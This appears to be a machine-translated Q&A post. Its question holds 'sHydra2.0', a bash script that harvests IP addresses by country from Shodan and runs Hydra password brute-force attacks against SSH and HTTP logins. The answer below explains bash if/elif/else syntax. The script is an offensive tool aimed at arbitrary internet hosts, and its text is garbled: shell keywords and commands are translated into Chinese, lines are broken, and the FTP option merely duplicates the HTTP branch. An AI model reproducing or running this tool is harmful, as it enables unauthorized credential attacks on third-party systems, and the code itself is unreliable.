#!/bin/bash Figlet -w 100 SHydra2.0 echo "sHydra2.0 正在初始化" echo "请负责任地使用这个" echo "我对你做出的任何错误决定不负有责任" /bin/sleep 10 #!/bin /bash
echo -en "做出选择:\n\t1.SSH-Brute\n\t2.HTTP-Brute\n\t3.FTP-Brute\n\t做出选择:" read VAR
如果 [[ $VAR = 1 ]] 那么
原始代码下来##
要求提供 shodan 的 API 密钥
echo "SSH-Brute Selected" /bin/sleep 5 echo "输入 Shodan API-Key" read -p'API:' uservar
echo "输入 2 个字母的国家代码.....info@https://www.nationsonline.org/oneworld/country_code_list.htm" read -p'国家代码:' countvar
echo "输入用户名列表的绝对路径 ex: /usr/share/wordlists/..etc" read -p'用户名列表的路径:' ulvar
echo "输入密码列表的绝对路径 ex: /usr/share/wordlists/...etc" read -p'密码列表:' pwvar
echo "SSH-Brute 初始化" shodan init $uservar
利用 shodan 搜索功能查找端口 22 并 grep 可用的 ip 地址并输出到文件
shodan 搜索 端口:22,国家:$countvar | grep -Eo '[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}' > $1 ;排序 $1 | uniq -u > $1
wc -l < $1 && echo "SSH 目标已加载"
/bin/sleep 5 echo “目标在范围内!” /bin/sleep 5 echo "启动序列即将开始..." echo "如果您害怕,请立即中止!"
/bin/sleep 5 read -rsn1 -p“最后一次中止机会,按任意键继续”变量;echo
##倒计时函数秒=10; date1=$(( date +%s
+ $秒)); while [ "$date1" -ge date +%s
];做 echo -ne "$(date -u --date @$(($date1 - date +%s
)) +%H:%M:%S)\r";完毕
##notifiers## read -rsn1 -p“你知道你注册了什么,按任意键继续”变量;echo echo“立即启动”
Hydra 命令,如果不起作用,请将绝对路径更改为用户名列表和密码列表##
Hydra -L $ulvar -P $pwvar -M $1 -o $2 -t 4 ssh ##将文件输出到当前目录# echo "文件保存在: ${PWD}" fi
else if [[ $VAR = 2 ]] then #http Brute 部分 新!
要求提供 shodan 的 API 密钥
/bin/sleep 5 echo "HTTP-Brute 正在进行中" /bin/sleep 5 echo "输入 Shodan API-Key" read -p'API:' uservar /bin/sleep 5 echo "输入 2 个字母的国家/地区代码... .info@https://www.nationsonline.org/oneworld/country_code_list.htm" 读取 -p'国家/地区代码:' countvar
echo "输入用户名列表的绝对路径 ex: /usr/share/wordlists/..etc" read -p'用户名列表的路径:' ulvar
echo "输入密码列表的绝对路径 ex: /usr/share/wordlists/...etc" read -p'密码列表:' pwvar
echo "HTTP 目标正在初始化" shodan init $uservar
利用 shodan 搜索功能查找端口 22 并 grep 可用的 ip 地址并输出到文件
shodan 搜索 端口:80,登录,国家:$countvar,200 | grep -Eo '[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}' > $1 ;排序 $1 | uniq -u > $1
wc -l < $1 && echo "HTTP 目标已加载"
/bin/sleep 5 echo“HTTP 目标在范围内!” /bin/sleep 5 echo "启动序列即将开始..." echo "如果您害怕,请立即中止!"
/bin/sleep 10 read -rsn1 -p“最后一次中止机会,按任意键继续”变量;echo
##倒计时函数秒=10; date1=$(( date +%s
+ $秒)); while [ "$date1" -ge date +%s
];做 echo -ne "$(date -u --date @$(($date1 - date +%s
)) +%H:%M:%S)\r";完毕
##notifiers## read -rsn1 -p“你知道你注册了什么,按任意键继续”变量;echo echo“立即启动”
Hydra 命令,如果不起作用,请将绝对路径更改为用户名列表和密码列表##
Hydra -L $ulvar -vV -P $pwvar http-get-form -M $1 -o $2 -t 4 ##将文件输出到当前目录# echo "文件保存在: ${PWD}" fi
###FTP 功能## else if [[ $VAR = 3 ]] then #FTP 新功能!
要求提供 shodan 的 API 密钥
/bin/sleep 5 echo "FTP-Brute 正在进行中" /bin/sleep 5 echo "输入 Shodan API-Key" read -p'API:' uservar /bin/sleep 5 echo "输入 2 个字母的国家/地区代码... .info@https://www.nationsonline.org/oneworld/country_code_list.htm" 读取 -p'国家/地区代码:' countvar
echo "输入用户名列表的绝对路径 ex: /usr/share/wordlists/..etc" read -p'用户名列表的路径:' ulvar
echo "输入密码列表的绝对路径 ex: /usr/share/wordlists/...etc" read -p'密码列表:' pwvar
echo "HTTP 目标正在初始化" shodan init $uservar
利用 shodan 搜索功能查找端口 22 并 grep 可用的 ip 地址并输出到文件
shodan 搜索 端口:80,登录,国家:$countvar,200 | grep -Eo '[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}' > $1 ;排序 $1 | uniq -u > $1
wc -l < $1 && echo "HTTP 目标已加载"
/bin/sleep 5 echo“HTTP 目标在范围内!” /bin/sleep 5 echo "启动序列即将开始..." echo "如果您害怕,请立即中止!" /bin/sleep 10 read -rsn1 -p“最后一次中止机会,按任意键继续”变量;echo
##倒计时函数秒=10; date1=$(( date +%s
+ $秒)); while [ "$date1" -ge date +%s
];做 echo -ne "$(date -u --date @$(($date1 - date +%s
)) +%H:%M:%S)\r";完毕
##notifiers## read -rsn1 -p“你知道你注册了什么,按任意键继续”变量;echo echo“立即启动”
Hydra 命令,如果不起作用,请将绝对路径更改为用户名列表和密码列表##
Hydra -L $ulvar -vV -P $pwvar http-get-form -M $1 -o $2 -t 4 ##将文件输出到当前目录# echo "文件保存在: ${PWD}" fi
答案1
Bash 中 if 语句的基本语法是:
if ...; then
statement
elif ...; then
statement
else
statement
fi
举个例子:
if [ ! "$FOO" ]; then
echo "Foo is not set."
elif [ "$FOO" = "yes" ]; then
echo "Foo equals 'yes'."
else
echo "Foo is set but does not equal 'yes'.";
fi
如果不需要elif
(else-if) 和子句,可以省略它们:else
if [ "$FOO" = "yes" ]; then
echo "Foo equals 'yes'."
fi
有些人喜欢稍微不同的格式,在 if 子句末尾不使用“;then”:
if [ "$FOO" = "yes" ]
then
echo "Foo equals 'yes'."
fi